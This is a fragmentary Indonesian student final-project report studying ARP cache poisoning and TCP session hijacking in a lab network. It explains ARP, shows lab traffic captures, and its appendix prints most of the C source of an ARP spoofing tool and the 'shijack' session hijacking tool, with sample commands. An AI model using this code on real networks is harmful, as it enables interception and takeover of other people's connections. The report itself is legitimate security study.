STUDI ANALISA
PENYAMARAN INFORMASI MAC ADDRESS
DENGAN METODE ARP CACHE POISONING
Dosen Pembimbing:
Iwan Syarif, S.Kom, M.Kom
NIP. 132 134 725
ii
STUDI ANALISA PENYAMARAN INFORMASI MAC ADDRESS
DENGAN METODE ARP CACHE POISONING
Oleh :
Ahmad Rodli Farhan 7403 030 015
Disetujui oleh :
Tim Penguji Proyek Akhir: Dosen Pembimbing:
Mengetahui,
Ketua Jurusan Teknologi Informasi
iii
Halaman ini sengaja dikosongkan!!!
iv
ABSTRAK
v
Halaman ini sengaja dikosongkan!!!
vi
ABSTRACT
vii
Halaman ini sengaja dikosongkan!!!
viii
KATA PENGANTAR
Penulis
ix
Halaman ini sengaja dikosongkan!!!
x
UCAPAN TERIMA KASIH
Segala puji dan rasa syukur kepada Allah SWT yang telah
memberikan rahmat dan hidayahNya sehingga buku proyek akhir ini
dapat selesai tepat pada waktunya. Selain itu berkat bimbingan, bantuan
dan dukungan dari berbagai pihak, oleh karena itu dengan tulus dan
ikhlas kami ingin mengucapkan terima kasih kepada:
1. Bapak dan Ibuku tercinta yang telah memberikan semangat,
dukungan dan doa yang tiada hentinya.
2. Bapak Dr. Ir. Titon Dutono, M.Eng, selaku Direktur Politeknik
Elektronika Negeri Surabaya - ITS.
3. Bapak Iwan Syarif S.kom, M.kom, selaku Ketua Jurusan Teknologi
Informasi Politeknik Elektronika Negeri Surabaya ITS dan juga
sebagai Dosen Pembimbing I yang telah memberikan pengarahan
dan bimbingannya kepada penulis.
4. Bapak Hero Yudo Martono, ST, selaku Dosen Pembimbing II dan
salah satu pengajar lab jarkom yang telah banyak memberikan
pengarahan dan bimbingan.
5. Bapak Sritrusta Sukaridhoto, ST selaku kepala lab jarkom, yang
telah mengijinkan penulis menempati lab jarkom untuk
mengerjakan Proyek Akhir ini dan mengajarkan tentang banyak hal.
6. Semua keluargaku Mbah Uti, Om, Tante, Bulik, Paklik, Budhe,
Pakdhe, Mbak Alfi, Zaqi, terutama adek sepupuku dek Zarah, dek
Ifa, dek Arif, dek Irfan yang cerewet kalau penulis ada di rumah dan
memberi dukungan kepada penulis untuk mengerjakan Proyek
Akhir di kampus sampai lupa pulang. Untuk dek Widya, maaf ya!!!
ga bisa nganter lagi.
7. Untuk keluarga di Malang, Om Yus, Tante Uus, Adek Ninis, Adek
Nada yang telah memberikan tempat tinggal waktu penulis
berkunjung kesana dan selama tiga tahun belajar di MTS Moklet
Ngalam. Penulis selalu merindukan kalian semua.
8. Para Dosen Penguji Bapak Ahmad Syauqi Ahsan, S.Kom, Bapak
Udin Harun A.R, S.Kom, Bapak Isbat Uzzin Nadhori, S.Kom yang
telah menguji penulis tentang Proyek Akhir yang telah dikerjakan.
9. Seluruh dosen Teknologi Informasi yang telah memberikan ilmunya
pada waktu perkuliahan.
10. Goodle 2006 Sari, Bitha, Dina, Zulfan, Taufik, Wahyudin dan
Puthut, Mas Bejo, Hasbi, Mas Kiky yang telah berbagi ilmu dan
pengalamannya.
xi
11. Rekan-rekan IT di lab jarkom Talib (Awas koen lali koncone pas
nang jogja), Romy, Udin, Awal, Iin yang telah mengerjakan
Proyek Akhir bersama-sama di lab ini.
12. Arek-arek IT-A angkatan 2003, Roup, Anom, Topan, Rohmat,
Shinta, Pras, Alfi, Tri (Bozz), Yudi (Yahoo), Ocgik, Djohan,
Arief (Ipin), Adhi, Bayu, Muflih (Cak Mu), Radit, Ria, Widy, Ulfa,
Nadhir, Ceri dan Erwin yang telah bersama-sama dalam tiga tahun
terakhir ini.
13. Rekan-rekan di kampung 9 Inas, Anang, Soim, Agung (Nganyuk),
Bagus Kur, Aryka, Agung (jembus), BNM, Ifir, Robertus,
Fakhrizal, Ana, Devi, Nita, Listy, Elsi, Ivan, Jeffri, Soleh, Nanang,
Nur Cahyo dan semuanya yang belum disebut. Terima kasih kepada
kalian semua atas pengetahuan dan pengalamannya tentang IT
sewaktu STM maupun kalian semua sudah bekerja.
14. Arek-arek IT-B angkatan 2003 yang telah memberi suasana lain
dalam tiga tahun kuliah ini, terutama pada akhir-akhir menjelang
kelulusan. Kalian semua telah membantuku ^_^. Mbak Mira, Yoga,
Astrid, Ira, Silvie (SC handal), Koko, Vbri, Putri, Arief (Cak Ri),
Nia, Kiki, Mak Nupi, Ujang, Bastomi, Doni, Agung, Mboko dan
semuanya wes
15. D4-IT angkatan 2003 Sixta, Bagus (Bambang), Ical, Alfian, dan
semuanya yang tak mampu penulis sebutkan satu persatu. Terima
kasih atas obrol-obrolannya.
16. Warga PENS-ITS yang tidak dapat penulis sebutkan satu persatu
yang telah memeriahkan kampus PENS.
17. Dan kepada pihak yang telah membantu saya dalam menyelesaikan
Proyek Akhir ini yang belum penulis sebutkan.
Segala ucapan terimakasih dari kami tentunya belum cukup,
semoga Allah SWT membalas semua kebaikan. Akhir kata, penulis
berharap semoga proyek akhir ini dapat memberikan manfaat dan
tambahan pengetahuan bagi pembaca.
xii
DAFTAR ISI
xiv
DAFTAR GAMBAR
Gambar 2.1 ARP Request .................................................................. 12
Gambar 2.2 ARP Reply ..................................................................... 12
Gambar 2.3 Jaringan Menggunakan Hub........................................... 17
Gambar 2.4 Jaringan Menggunakan Switch ...................................... 18
Gambar 2.5 Proses ARP Cache Poisoning......................................... 19
Gambar 3.1 Desain Jaringan .............................................................. 23
Gambar 3.2 Proses ARP Spoofing ..................................................... 25
Gambar 3.3 Paket ARP Spoofing....................................................... 25
Gambar 3.4 Flowchart ARP Spoofing ............................................... 27
Gambar 3.5 Ilustrasi proses TCP Hijacking....................................... 28
Gambar 3.6 Urutan proses TCP Hijacking......................................... 29
Gambar 4.1 Running Program ARP Spoofing ................................... 41
Gambar 4.2 ARP Cache host client sebelum spoofing....................... 42
Gambar 4.3 ARP Cache host client sesudah spoofing ....................... 44
Gambar 4.4 Traffic icmp di attacker .................................................. 45
Gambar 4.5 Traffic icmp di server ..................................................... 46
Gambar 4.6 ARP Cache host server sebelum spoofing...................... 48
Gambar 4.7 ARP Cache host server sesudah spoofing ...................... 48
Gambar 4.8 Paket ARP yang dikirim host attacker............................ 49
Gambar 4.9 Semua traffic yang terlihat di host attacker .................... 50
Gambar 4.10 Komunikasi telnet yang tercapture............................... 51
Gambar 4.11 Koneksi TCP sebelum ARP Spoofing.......................... 51
Gambar 4.12 Koneksi TCP setelah ARP Spoofing............................ 52
Gambar 4.13 Follow TCP Stream yang dijalankan attacker .............. 52
Gambar 4.14 Trafik yang tertangkap oleh attacker............................ 57
Gambar 4.15 Perintah telnet disadap.................................................. 58
Gambar 4.16 Hasil telnet disadap ...................................................... 58
Gambar 4.17 Follow TCP Stream koneksi Telnet ............................. 59
Gambar 4.18 Perintah yang terenkripsi.............................................. 60
Gambar 4.19 Follow TCP Stream SSH.............................................. 60
xv
Halaman ini sengaja dikosongkan!!!
xvi
DAFTAR TABEL
xvii
Halaman ini sengaja dikosongkan!!!
xviii
BAB I
PENDAHULUAN
1
2
1.2 Tujuan
1.4 Metodologi
BAB I PENDAHULUAN
Berisi pendahuluan yang menjelaskan tentang gambaran umum
proyek akhir. Dalam Bab I dibahas tentang latar belakang, tujuan, batas
masalah, metodologi serta sistematika penulisan.
Bab V PENUTUP
Berisi tentang kesimpulan dari proyek akhir yang sudah
dikerjakan dan saran-saran bagi pengembangan selanjutnya.
4
5
6
3. Integrity (integritas)
Aspek ini menekankan bahwa informasi tidak boleh diubah
tanpa seijin pemilik informasi. Adanya virus, trojan horse, atau
pemakai lain yang mengubah informasi tanpa ijin merupakan contoh
masalah yang harus dihadapi. Penggunaan encryption dan digital
signature, misalnya, dapat mengatasi masalah ini.
Jaringan komputer yang dapat diandalkan juga berdasar pada
fakta bahwa data yang tersedia apa yang sudah seharusnya. Jaringan
komputer mau tidak mau harus terlindungi dari serangan (attacks)
yang dapat merubah data selama dalam proses persinggahan
(transmit). Man In The Middle merupakan jenis serangan yang dapat
merubah integritas dari sebuah data yang mana penyerang (attacker)
dapat membajak session atau memanipulasi data yang terkirim.
Didalam jaringan komputer yang aman, partisipan dari sebuah
"transaksi" data harus yakin bahwa orang yang terlibat dalam
komunikasi data dapat diandalkan dan dapat dipercaya. Keamanan
dari sebuah komunikasi data sangat diperlukan pada sebuah
tingkatan yang dipastikan data tidak berubah selama proses
pengiriman dan penerimaan pada saat komunikasi data. Ini tidak
harus selalu berarti bahwa traffic perlu di enkripsi, tapi juga tidak
tertutup kemungkinan serangan Man In The Middle dapat terjadi.
4. Authentication
Aspek ini berhubungan dengan metoda untuk menyatakan
bahwa informasi betul-betul asli, orang yang mengakses atau
memberikan informasi adalah betul-betul orang yang dimaksud, atau
server yang kita hubungi adalah betul-betul server yang asli.
Masalah pertama, membuktikan keaslian dokumen, dapat
dilakukan dengan teknologi watermarking dan digital signature.
Watermarking juga dapat digunakan untuk menjaga intellectual
property, yaitu dengan menandai dokumen atau hasil karya dengan
tanda tangan pembuat.
Masalah kedua biasanya berhubungan dengan access control,
yaitu berkaitan dengan pembatasan orang yang dapat mengakses
informasi. Dalam hal ini pengguna harus menunjukkan bukti bahwa
memang dia adalah pengguna yang sah, misalnya dengan
menggunakan password, biometric (ciri-ciri khas orang), dan
sejenisnya. Ada tiga hal yang dapat ditanyakan kepada orang untuk
menguji siapa dia:
What you have (misalnya kartu ATM)
What you know (misalnya PIN atau password)
8
Ethernet Ethernet Frame Hard Prot Hard Prot op Sender Sender Target Target
dest source type type type size size Ethernet IP Ethernet IP
address address address address address address
6 6 2 2 2 1 1 2 6 4 6 4
Table 2.1 Format message ARP dan ukuran (byte) [9]
Prot type memiliki nilai 0x0800 yang menandakan format dari alamat
protokol yang akan dipetakan. Hard size merupakan ukuran dari alamat
hardware yaitu 6 byte. Prot size memiliki nilai 4 byte yang merupakan
panjang dari alamat protokol IP. Sedangkan field op menandakan
operasi ARP atau RARP yang memiliki masing-masing nilai 1 jika itu
adalah ARP request, 2 jika ARP reply, 3 jika RARP request dan 4 jika
RARP reply.
Sedangkan field-field selanjutnya yaitu Sender Ethernet address
yaitu alamat hardware dari pengirim yang memiliki panjang 6 byte.
Sender IP address memiliki panjang 4 byte yang menunjukkan alamat
IP dari pengirim. Target Ethernet address yaitu alamat hardware dari
tujuan. Target IP address menunjukkan alamat IP dari tujuan frame.
2.5 Sniffing
switch secara terus-menerus, port dari switch atau tabel MAC pada
switch menjadi tidak terkendali (overflow). Hasilnya pada beberapa
merek, switch akan menjadi seperti hub yang menyebarkan secara
broadcast paket pada jaringan tersebut.
23
24
jaringan lokal tersebut, dimana pada desain kali ini adalah host client
dengan alamat IP 10.252.108.232 yang akan melakukan telnet atau ftp
ke host server tersebut.
Ethernet Ethernet Frame Hard Prot Hard Prot op Sender Sender Target Target
dest source type type type size size Ethernet IP Ethernet IP
address address address address address address
Source Ethernet
Address diganti
Tidak hanya host yang dapat diganti tabel ARP yang dimiliki,
namun router atau gateway juga bisa. Semua komunikasi internet suatu
host dapat disergap dengan cara sebagai menjadi MiM antara komputer
target dan router pada jaringan lokal tersebut.
26
Program yang dibuat pada proyek akhir ini adalah program ARP
Spoofing yang menggunakan metode ARP Cache Poisoning dan
program session hijacking.
server. Pada kondisi ini host client tidak akan dapat menjalankan
komunikasi dengan host server. Pada saat ini koneksi secara penuh akan
dilakukan oleh host attacker. Bahkan untuk memutus koneksi, yang
memegang kendali adalah host attacker.
arp_find(target_ip, &target_mac);
arp_find(client_ip, &client_mac);
if(strcmp(
ether_ntoa((struct ether_addr*)&target_mac),
"0:0:0:0:0:0"
)== 0) {
errx(1, "error tidak dapat mencari mac address ip %s",
libnet_host_lookup(target_ip, 0));
exit(0);
}else if(strcmp(
ether_ntoa((struct ether_addr *)&client_mac),
"0:0:0:0:0:0"
)==0) {
errx(1, "error tidak dapat mencari mac address ip %s",
libnet_host_lookup(client_ip, 0));
exit(0);
}
for (;;) {
arp_send(llif, intf, ARPOP_REPLY,
NULL,
client_ip,
(target_ip ? (u_char *)&target_mac : NULL),
target_ip);
arp_send(llif, intf, ARPOP_REPLY,
NULL,
target_ip,
(client_ip ? (u_char *)&client_mac : NULL),
client_ip);
sleep(4);
}
dua host yang telah di spoofing tersebut. Salah satu tindakan yang paling
merugikan adalah session hijacking.
Sebuah proses session hijacking memerlukan pengetahuan
tentang bagaimana cara komunikasi antar host dalam jaringan. Host
client ketika melakukan telnet ke host server yang merupakan server
telnet, akan membuat port acak (ditentukan oleh sistem operasi host
client). Port tersebut yang akan digunakan oleh host client untuk
berkomunikasi dengan host B pada port 23 yaitu port dari aplikasi telnet.
Program session hijacking ini membutuhkan alamat IP dari host
client, port komunikasi dari host client, alamat IP host server dan port
yang melakukan komunikasi dengan host client. Dari alamat IP dan port
yang diperoleh, attacker akan berusaha untuk mendapatkan nomer
sequence dan nomer acknowledgement dari komunikasi antara dua host
target yang sedang terjadi. Berikut ini adalah fungsi yang dipanggil
untuk memperoleh nomer sequence dan nomer acknowledgement:
u_char *packet;
int fd, psize;
devsrandom();
psize = LIBNET_IP_H + LIBNET_TCP_H + datalen;
libnet_init_packet(psize, &packet);
if (!packet)
libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet
failed\n");
fd = libnet_open_raw_sock(IPPROTO_RAW);
if (fd == -1)
libnet_error(LIBNET_ERR_FATAL, "libnet_open_raw_sock
failed\n");
if (libnet_do_checksum(packet,
IPPROTO_TCP, LIBNET_TCP_H + datalen) == -1)
libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum
failed\n");
libnet_write_ip(fd, packet, psize);
libnet_close_raw_sock(fd);
libnet_destroy_packet(&packet);
}
unknown:~/home/rodli# ./arpoison
Penggunaan: ./arpoison [-i interface] [-t target] host
41
42
Program ARP Spoofing ini memiliki efek kepada host client dan
host server yang sedang melakukan koneksi. Pemetaan alamat IP dan
alamat MAC dari host yang merupakan lawan komunikasi tidak sesuai
dengan pemetaan yang sebenarnya.
Kemudian dengan menjalankan tool network analyzer semacam
ethereal pada host client, akan didapatkan hasil sebagai berikut:
Berikut ini adalah trafik yang tertangkap pada kartu jaringan yang
digunakan host client dengan menggunakan tcpdump:
06:37:16.457279 IP 10.252.108.208 > 10.252.108.127: icmp 64: echo
request seq 3
06:37:16.457421 IP 10.252.108.124 > 10.252.108.208: icmp 92: redirect
10.252.108.127 to host 10.252.108.127
06:37:16.457572 IP 10.252.108.127 > 10.252.108.208: icmp 64: echo
reply seq 3
Paket icmp yang diterima oleh server, berasal dari host attacker.
Hal tersebut dapat diketahui dari alamat MAC asal dari paket icmp yang
diterima oleh host server tidak berasal dari host client secara langsung.
4.2 Sniffing
bertindak sebagai host yang dilewati data antara host client dan host
server.
haihai:/# ./arpoison
Penggunaan: ./arpoison [-i interface] [-t target] host
haihai:/# ./arpoison i eth0 t 10.252.108.208 10.252.108.127
54
oleh host lain. Namun pada saat attacker menjalankan program TCP
Hijacking, host client tidak akan dapat mengirimkan perintah ke host
server. Karena semua koneksi sudah dibajak oleh attacker.
Dibawah ini adalah keadaan terminal dari host client ketika
terjadi TCP hijacking. Setelah baris alice@client:~$ l, host client
tidak dapat mengirimkan perintah ke telnet server. Baris-baris
selanjutnya adalah perintah yang dilakukan oleh attacker. Baris
tersebut tercetak setelah koneksi yang dilakukan oleh attacker
selesai (attacker menjalankan perintah exit).
The programs included with the Debian GNU/Linux system are free
software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Hasil yang didapatkan pada tabel ARP host client adalah sebagai
berikut:
client:~# arp
Address HWtype Hwaddress Flags Mask Iface
10.252.108.127 ether 00:E0:7D:DD:50:0F CM eth1
client:~# arp -a
? (10.252.108.127) at 00:E0:7D:DD:50:0F [ether] PERM on eth1
5.1 Kesimpulan
5.2 Saran
61
62
63
64
arp.c
#include <sys/types.h>
#include <sys/param.h>
#include <sys/socket.h>
#ifdef BSD
#include <sys/sysctl.h>
#include <net/if_dl.h>
#include <net/route.h>
#ifdef __FreeBSD__ /* XXX */
#define ether_addr_octet octet
#endif
#else /* !BSD */
#include <sys/ioctl.h>
#ifndef __linux__
#include <sys/sockio.h>
#endif
#endif /* !BSD */
#include <net/if.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#ifdef BSD
int
arp_cache_lookup(in_addr_t ip, struct ether_addr *ether)
{
int mib[6];
size_t len;
char *buf, *next, *end;
struct rt_msghdr *rtm;
struct sockaddr_inarp *sin;
struct sockaddr_dl *sdl;
mib[0] = CTL_NET;
mib[1] = AF_ROUTE;
mib[2] = 0;
mib[3] = AF_INET;
mib[4] = NET_RT_FLAGS;
mib[5] = RTF_LLINFO;
65
66
return (-1);
return (-1);
}
#else /* !BSD */
int
arp_cache_lookup(in_addr_t ip, struct ether_addr *ether)
{
int sock;
struct arpreq ar;
struct sockaddr_in *sin;
sin->sin_addr.s_addr = ip;
return (0);
}
#endif /* !BSD */
/* 5000 */
arpoison.c
#include <sys/types.h>
#include <sys/param.h>
#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <err.h>
#include <libnet.h>
#include <pcap.h>
/*
fungsi untuk mendapatkan fungsi ether_ntoa dari linux
*/
extern char *ether_ntoa(struct ether_addr *);
/*
fungsi untuk mencari MAC (memanggil fungsi arp_cache_lookup
dari file arp.c)
dengan memanggil fungsi ioctl() dari kernel linux
*/
extern int arp_cache_lookup(in_addr_t, struct ether_addr *);
void penggunaan(void)
{
fprintf(stderr, "\n"
"Penggunaan: ./arpoison [-i interface] [-t
target] host\n");
exit(1);
}
/*
Fungsi untuk mengirimkan paket arp.
*/
int arp_send(struct libnet_link_int *llif, char *dev, int
op, u_char *sha, in_addr_t spa, u_char *tha, in_addr_t tpa)
{
char ebuf[128];
u_char pkt[60];
/*
memberi nilai host yang akan di spoof dengan IP milik
ATTACKER,
jika host yang akan di spoof tidak di inputkan.
*/
if (spa == 0) {
if ((spa = libnet_get_ipaddr(llif, dev,
ebuf)) == 0)
return (-1);
spa = htonl(spa);
}
//printf("sent to host ip: %s \n",inet_ntoa(*(struct
in_addr *)&spa));
/*
69
/* Print */
fprintf(stderr, "%s ",
ether_ntoa((struct ether_addr *)sha));
if (op == ARPOP_REQUEST) {
fprintf(stderr, "%s 0806 42: arp who-has %s
tell %s\n",
ether_ntoa((struct ether_addr *)tha),
libnet_host_lookup(tpa, 0),
libnet_host_lookup(spa, 0));
}
else {
fprintf(stderr, "%s 0806: arp reply ip %s
punya mac ",
ether_ntoa((struct ether_addr *)tha),
libnet_host_lookup(spa, 0));
fprintf(stderr, "%s\n",
ether_ntoa((struct ether_addr *)sha));
}
70
#ifdef __linux__
int
arp_force(in_addr_t dst)
{
struct sockaddr_in sin;
int i, fd;
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = dst;
sin.sin_port = htons(67);
close(fd);
return (i == 0);
}
#endif
int
arp_find(in_addr_t ip, struct ether_addr *mac)
{
int i = 0;
do {
if (arp_cache_lookup(ip, mac) == 0)
return (1);
#ifdef __linux__
/* XXX - force the kernel to arp. feh. */
arp_force(ip);
#else
arp_send(llif, intf, ARPOP_REQUEST, NULL, 0,
NULL, ip);
#endif
sleep(1);
}
while (i++ < 3);
return (0);
}
71
void
cleanup(int sig)
{
int i;
intf = NULL;
client_ip = target_ip = 0;
}
argc -= optind;
argv += optind;
if (argc != 1)
penggunaan();
/*
Melakukan pengecekan hasil pencarian arp (nilai dari
target_mac dan client mac dibaca)
jika tidak ditemukan nilai MACnya (MAC =
00:00:00:00:00:00) berarti host tidak ada.
*/
if(strcmp(ether_ntoa((struct ether_addr
*)&target_mac),"0:0:0:0:0:0")==0){
errx(1, "error tidak dapat mencari mac
address ip %s", libnet_host_lookup(target_ip, 0));
exit(0);
}else if(strcmp(ether_ntoa((struct ether_addr
*)&client_mac),"0:0:0:0:0:0")==0){
errx(1, "error tidak dapat mencari mac
address ip %s", libnet_host_lookup(client_ip, 0));
exit(0);
}
/*
73
/*
Mengirimkan paket arp reply ke host target dan host
client
*/
for (;;) {
arp_send(llif, intf, ARPOP_REPLY, NULL,
client_ip,(target_ip ? (u_char *)&target_mac :
NULL),target_ip);
arp_send(llif, intf, ARPOP_REPLY, NULL,
target_ip,(client_ip ? (u_char *)&client_mac :
NULL),client_ip);
sleep(4);
}
exit(0);
}
shijack.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <libnet.h>
#include <pcap.h>
#include <signal.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/time.h>
#include <unistd.h>
struct seqack {
u_long seq;
u_long ack;
};
void
devsrandom(void)
74
{
int fd;
u_long seed;
fd = open("/dev/urandom", O_RDONLY);
if (fd == -1) {
fd = open("/dev/random", O_RDONLY);
if (fd == -1) {
struct timeval tv;
gettimeofday(&tv, NULL);
srandom((tv.tv_sec ^ tv.tv_usec) *
tv.tv_sec * tv.tv_usec ^ tv.tv_sec);
return;
}
}
read(fd, &seed, sizeof(seed));
close(fd);
srandom(seed);
}
void
getseqack(char *interface, u_long srcip, u_long
dstip, u_long sport, u_long dport, struct seqack *sa){
pcap_t *pt;
char ebuf[PCAP_ERRBUF_SIZE];
u_char *buf;
struct ip iph;
struct tcphdr tcph;
int ethrhdr;
case DLT_PPP:
ethrhdr = 4;
break;
case DLT_RAW:
ethrhdr = 0;
default:
printf("pcap_datalink: Can't figure
out how big the ethernet header is.\n");
exit(-1);
}
for (;;) {
struct pcap_pkthdr pkthdr;
void
76
devsrandom();
psize = LIBNET_IP_H + LIBNET_TCP_H + datalen;
libnet_init_packet(psize, &packet);
if (!packet)
libnet_error(LIBNET_ERR_FATAL,
"libnet_init_packet failed\n");
fd = libnet_open_raw_sock(IPPROTO_RAW);
if (fd == -1)
libnet_error(LIBNET_ERR_FATAL,
"libnet_open_raw_sock failed\n");
if (libnet_do_checksum(packet, IPPROTO_TCP,
LIBNET_TCP_H + datalen) == -1)
libnet_error(LIBNET_ERR_FATAL,
"libnet_do_checksum failed\n");
libnet_write_ip(fd, packet, psize);
libnet_close_raw_sock(fd);
libnet_destroy_packet(&packet);
}
void
sighandle(int sig)
{
printf("Closing connection..\n");
sendtcp(srcip, dstip, sport, dport, TH_RST, sa.seq,
0, NULL, 0);
printf("Done, Exiting.\n");
exit(0);
}
int
main(int argc, char *argv[])
{
char *ifa = argv[1];
char buf[4096];
77
int reset = 0;
signal(SIGTERM, sighandle);
signal(SIGINT, sighandle);
if (argc < 6) {
printf("Usage: %s <interface> <src ip> <src
port> <dst ip> <dst port> [-r]\n", argv[0]);
printf("<interface>\t\tThe interface you are
going to hijack on.\n");
printf("<src ip>\t\tThe source ip of the
connection.\n");
printf("<src port>\t\tThe source port of the
connection.\n");
printf("<dst ip>\t\tThe destination IP of the
connection.\n");
printf("<dst port>\t\tThe destination port of
the connection.\n");
printf("[-r]\t\t\tReset the connection rather
than hijacking it.\n");
printf("\nCoded by spwny, Inspiration by
cyclozine (http://www.geocities.com/stasikous).\n");
exit(-1);
}
srcip = inet_addr(argv[2]);
dstip = inet_addr(argv[4]);
sport = atol(argv[3]);
dport = atol(argv[5]);
if (!srcip) {
printf("%s is not a valid ip.\n", argv[2]);
exit(-1);
}
if (!dstip) {
printf("%s is not a valid ip.\n", argv[4]);
exit(-1);
}
if ((sport > 65535) || (dport > 65535) || (sport < 1)
|| (dport < 1)) {
printf("The valid TCP port range is 1-
1024.\n");
exit(-1);
}
getseqack(ifa, srcip, dstip, sport, dport, &sa);
if (reset) {
sendtcp(srcip, dstip, sport, dport, TH_RST, sa.seq,
0, NULL, 0);
78
/*
* Sending 1024 of zero bytes so the real owner of
the TCP connection
* wont be able to get us out of sync with the SEQ.
*/
memset(&buf, 0, sizeof(buf));
sendtcp(srcip, dstip, sport, dport, TH_ACK | TH_PUSH,
sa.seq, sa.ack, buf, 1024);
sa.seq += 1024;